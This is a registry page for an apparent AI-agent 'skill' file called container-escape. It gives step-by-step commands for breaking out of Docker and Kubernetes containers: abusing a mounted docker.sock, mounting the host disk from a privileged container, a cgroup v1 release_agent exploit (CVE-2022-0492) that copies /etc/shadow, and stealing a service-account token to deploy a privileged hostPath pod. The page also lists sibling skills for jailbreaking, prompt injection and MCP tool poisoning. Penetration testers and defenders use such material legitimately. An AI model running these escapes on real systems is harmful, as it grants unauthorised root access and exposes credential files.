container-escape
Skill5 starsChanged 5 months agoApache-2.0View on GitHub
Container escape methodology for Docker and Kubernetes. Covers privileged container breakout, mounted socket exploitation, capabilities abuse, cgroup v1 escape, and K8s node compromise.
In this repository33 other files it gives its agents.
- dcsyncSkill
- kerberoastingSkill
- pass-the-hashSkill
- jailbreakingSkill
- model-extractionSkill
- prompt-injectionSkill
- system-prompt-extractionSkill
- jwtSkill
- oauthSkill
- session-attacksSkill
- iam-privescSkill
- s3-enumSkill
- edr-evasionSkill
- initial-accessSkill
- embedding-attacksSkill
- rag-poisoningSkill
- mcp-context-injectionSkill
- mcp-rug-pullSkill
- mcp-tool-poisoningSkill
- osintSkill
- subdomain-enumSkill
- model-tamperingSkill
- cvss4-scoringSkill
- report-writingSkill
- graphqlSkill
- idorSkill
- rceSkill
- sqliSkill
- ssrfSkill
- sstiSkill
- waf-bypassSkill
- xssSkill
- xxeSkill
The file
We split this skill into the rules it gives an agent
1 rule. About 0 are common, 0 are distinctive, and 1 is very specific to this project.
≈0
Common · estimate
Many files like this have a rule of this kind.
≈0
Distinctive · estimate
This author's own choices. Worth a look.
1
Very specific
Tied to their project's names, files or tools. Probably skip.
- Common
- Distinctive
- Very specific
- Very specific: line 31
If /var/run/docker.sock is mounted:
≈ “Common” is an estimate: at least 1 in 5 of the 350,495 skill files we read have a rule of the same kind, not the same words. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.
Files
Container Escape
Phase 1 — Enumerate Container Context
# Am I in a container?
cat /proc/1/cgroup | grep docker
ls /.dockerenv
# What privileges do I have?
cat /proc/self/status | grep Cap
capsh --decode=$(cat /proc/self/status | grep CapEff | awk '{print $2}')
# Is Docker socket mounted?
ls -la /var/run/docker.sock
# Is the container privileged?
ip link add dummy0 type dummy 2>&1 | grep -v "Permission denied"
# → if no error, you likely have CAP_NET_ADMIN (privileged indicator)Attack 1 — Docker Socket Escape
If /var/run/docker.sock is mounted:
# Start a new privileged container with host filesystem mounted
docker -H unix:///var/run/docker.sock run -it --rm \
--privileged --pid=host --net=host \
-v /:/host ubuntu chroot /host
# OR via API directly (no docker CLI needed)
curl -s --unix-socket /var/run/docker.sock \
-X POST "http://localhost/containers/create" \
-H "Content-Type: application/json" \
-d '{"Image":"ubuntu","Cmd":["/bin/bash"],"HostConfig":{"Binds":["/:/host"],"Privileged":true}}'Attack 2 — Privileged Container Breakout
# Mount host filesystem via device access
fdisk -l # find host disk (e.g., /dev/xvda1)
mkdir /mnt/host
mount /dev/xvda1 /mnt/host
chroot /mnt/host /bin/bash # shell as root on hostAttack 3 — cgroup v1 Escape (CVE-2022-0492)
# Requires CAP_SYS_ADMIN or unconfined seccomp
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent
echo '#!/bin/sh' > /cmd
echo "cat /etc/shadow > $host_path/output" >> /cmd
chmod a+x /cmd
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"
sleep 1
cat /outputKubernetes Node Escape
# From compromised pod — access node via service account token
TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token)
curl -k -H "Authorization: Bearer $TOKEN" https://kubernetes.default.svc/api/v1/nodes
# Escalate via privileged pod (if create pod permissions exist)
kubectl apply -f - <<EOF
apiVersion: v1
kind: Pod
spec:
hostPID: true
hostNetwork: true
containers:
- name: escape
image: ubuntu
securityContext:
privileged: true
volumeMounts:
- mountPath: /host
name: host-root
volumes:
- name: host-root
hostPath:
path: /
EOFTools
MITRE ATT&CK
- T1611 — Escape to Host
- T1552.007 — Container API
Does it work?
Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.
No reviews yet
People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.
- It worked
- Partly
- It didn't
Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.
Your trail
Files you open will collect here, so you can find them again.
Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.
Now do this for your own.
Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

